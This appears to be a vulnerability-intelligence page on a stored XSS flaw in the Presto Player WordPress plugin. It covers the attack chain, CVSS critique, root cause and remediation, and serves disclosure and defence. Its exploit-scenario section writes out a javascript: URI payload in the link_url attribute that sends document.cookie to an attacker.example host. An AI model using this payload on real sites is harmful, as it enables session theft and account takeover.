Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as WordPress contributor
-
DeliveryInsert [presto_player_overlay] shortcode with javascript: URI in link_url
-
ExploitPublish post containing malicious shortcode
-
ExecutionVictim navigates to injected post
-
Persistpresto-dynamic-overlay-ui renders href without scheme validation
-
ImpactXSS payload executes in victim's browser context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated WordPress account at contributor level or above on the target installation - the attack vector is fully blocked for unauthenticated users. The Presto Player plugin must be installed, active, and running version 4.2.0 or earlier. A victim must navigate to a published post or page that contains the attacker's [presto_player_overlay] shortcode with a javascript: URI injected into the link_url attribute; payload execution occurs when the presto-dynamic-overlay-ui web component renders the resulting anchor element in the victim's browser. Limiting factors include: the mandatory contributor authentication prerequisite (blocking automated or unauthenticated exploitation at scale); the requirement that the attacker-controlled content be published and accessible to the victim; and the need for the victim's browser to render the overlay component (disabled JavaScript or CSP headers blocking inline scripts could mitigate impact but are non-default configurations). |
| Impact | The supplied CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, score 6.4) contains a notable inconsistency: UI:N (no user interaction) is atypical for stored XSS, which by definition requires a victim to navigate to the injected page - conventionally scored UI:R. An independent assessment using UI:R produces a score of approximately 5.4 (Medium), a more accurate reflection of exploitation mechanics. The S:C (Scope Changed) designation is correct, as JavaScript executes in the victim's browser security context, separate from the web application. EPSS data is absent from available intelligence, and the vulnerability is not listed in CISA KEV, indicating no confirmed active exploitation. No public proof-of-concept has been identified. Real-world risk is bounded primarily by the PR:L requirement - a valid WordPress contributor account is necessary, which prevents unauthenticated mass exploitation; however, this threshold is routinely met in multi-author blogs, client sites with content editors, or sites with compromised low-privilege accounts. The C:L/I:L ceiling reflects classic stored XSS capability: session token theft, phishing overlays, and malicious redirects rather than direct server compromise. |
| Exploit ScenarioDerived | An attacker with a contributor account on a target WordPress site running Presto Player ≤ 4.2.0 creates a post containing [presto_player_overlay link_url="javascript:fetch('https://attacker.example/c?d='+document.cookie)"], which is saved and published via normal editorial workflow. When any user - including administrators - loads that post and the presto-dynamic-overlay-ui component renders the anchor element, the payload silently exfiltrates the victim's session cookie to the attacker-controlled endpoint. No public proof-of-concept has been identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 12, 2026
Stored XSS in the Presto Player WordPress plugin (versions ≤ 4.2.0) lets authenticated contributors persist arbitrary JavaScript payloads by supplying a javascript: URI as the link_url parameter of the [presto_player_overlay] shortcode. The getOverlays() function in Shortcodes.php copies the attribute into overlay configuration without scheme validation, causing the URI to survive into the href attribute rendered by the presto-dynamic-overlay-ui Stencil.js web component; any visitor who loads the injected page triggers execution. No public exploit or CISA KEV listing has been identified at time of analysis, but the low attack complexity within the contributor-access constraint makes this a realistic risk on multi-author or membership-based WordPress installations.
RemediationAI
Update the Presto Player plugin to the version that includes changeset 3553268 or later; consult the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/c87e7f50-f14a-4751-abcb-3a5bdd214889) or the WordPress plugin repository to identify the first released patched version number, which is not confirmed from currently available data. If an immediate update is not feasible, restrict the WordPress contributor role exclusively to fully trusted, vetted users, since exploitation requires contributor-level authentication - note that this may disrupt legitimate multi-author publishing workflows. As an alternative compensating control, disable or block the [presto_player_overlay] shortcode via a shortcode-management plugin or a code snippet in functions.php until the patch is applied; this neutralizes the attack surface but will remove overlay functionality from all published content using that shortcode.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the Presto Player plugin for WordPress (CPE: cpe:2.3:a:2winfactor:presto_player:*:*:*:*:*:*:*:*) by 2winfactor. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). Specifically, the getOverlays() function in inc/Services/Shortcodes.php reads the link_url shortcode attribute and serializes it directly into a configuration object passed to the presto-dynamic-overlays Stencil.js web component (dist/components/collection/components/core/features/presto-dynamic-overlays/component/presto-dynamic-overlays.js). That component renders the value as the href of a clickable anchor element in templates/video.php. Because no URI scheme allowlist or deny-list is enforced before serialization, javascript: URIs pass through all sanitization layers intact and execute when the anchor is rendered or interacted with. Source code references confirm this code path is present in plugin tags 4.1.1 and 4.1.4, and the fix was applied in Trac changeset 3553268 against trunk/inc/Services/Shortcodes.php.
Know when Presto Player gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
UI:R corrects the provided UI:N because stored XSS requires a victim to browse to the injected page; all other metrics are consistent with contributor-authenticated stored XSS with changed scope.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Presto Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link_url' parameter of the [presto_player_overlay] shortcode in versions up to, and including, 4.2.0 This is due to insufficient input sanitization and output escaping in the getOverlays() function, which copies the link_url shortcode attribute directly into the overlay configuration without scheme validation, allowing javascript: URIs to survive and be rendered as the href of a clickable anchor element by the presto-dynamic-overlay-ui web component. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Presto Player
View allThe Ultimate Video Player For WordPress WordPress plugin before 2.2.3 does not have proper capability check when updatin
Stored cross-site scripting in the Presto Player plugin for WordPress (all versions up to and including 4.5.1) lets unau
Arbitrary file deletion in the WordPress plugin Presto Player Pro (versions 3.0.1 and earlier) lets an authenticated acc
Stored cross-site scripting in the Brainstorm Force Presto Player WordPress plugin, affecting all versions through 4.5.3
Stored cross-site scripting in the Presto Player WordPress plugin (Brainstorm Force) through version 4.5.2 lets an authe
Broken access control in Brainstorm Force's Presto Player WordPress plugin (through version 4.1.3) allows authenticated
EUVD-2026-36372
GHSA-2m85-j8xj-wrg2
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB